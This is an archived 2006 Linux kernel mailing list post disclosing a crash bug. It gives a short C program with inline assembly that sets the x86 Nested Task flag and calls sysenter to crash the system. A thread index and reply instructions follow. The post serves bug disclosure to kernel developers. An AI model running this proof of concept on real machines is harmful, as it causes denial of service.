From: "In Cognito" <defend.the.world@gmail.com>
To: linux-kernel@vger.kernel.org
Subject: Sysenter crash with Nested Task Bit set
Date: Sun, 17 Sep 2006 19:08:24 -0400 [thread overview]
Message-ID: <5a20704e0609171608o7ee45fdbxb94aa897c1776153@mail.gmail.com> (raw)
In-Reply-To: <5a20704e0609171603s55ca52bap71dc2fa2c05d6741@mail.gmail.com>
Here's a way to heat up your cpu and crash the rest of the system too:
main(){
asm("pushf\n"
"popl %eax\n"
/* enable the NT bit */
"orl $0x4000, %eax\n"
"pushl %eax\n"
"popf\n"
"sysenter\n"
);
return 0;
}
"If NT equals 1, IRET reverses the operation of a CALL or INT that
caused a task switch. The updated state of the task executing IRET is
saved in its task state segment. If the task is reentered later, the
code that follows IRET is executed."
- Intel 80386 Reference Programmer's Manual
next parent reply other threads:[~2006-09-17 23:08 UTC|newest]
Thread overview: 14+ messages / expand[flat|nested] mbox.gz Atom feed top
[not found] <5a20704e0609171603s55ca52bap71dc2fa2c05d6741@mail.gmail.com>
2006-09-17 23:08 ` In Cognito [this message]
2006-09-18 3:51 Sysenter crash with Nested Task Bit set Chuck Ebbert
2006-09-18 5:25 ` Andrew Morton
2006-09-18 8:44 ` Mike Galbraith
2006-09-18 15:11 ` Linus Torvalds
2006-09-18 15:06 ` Ingo Molnar
2006-09-18 15:29 ` Andi Kleen
2006-09-18 15:24 ` Ingo Molnar
2006-09-18 16:02 ` Linus Torvalds
2006-09-18 16:10 ` Linus Torvalds
2006-09-18 16:24 ` Jeremy Fitzhardinge
2006-09-18 16:12 ` Benjamin LaHaise
2006-09-18 16:39 ` Andi Kleen
2006-09-18 19:01 ` Jeremy Fitzhardinge
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=5a20704e0609171608o7ee45fdbxb94aa897c1776153@mail.gmail.com \
--to=defend.the.world@gmail.com \
--cc=linux-kernel@vger.kernel.org \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox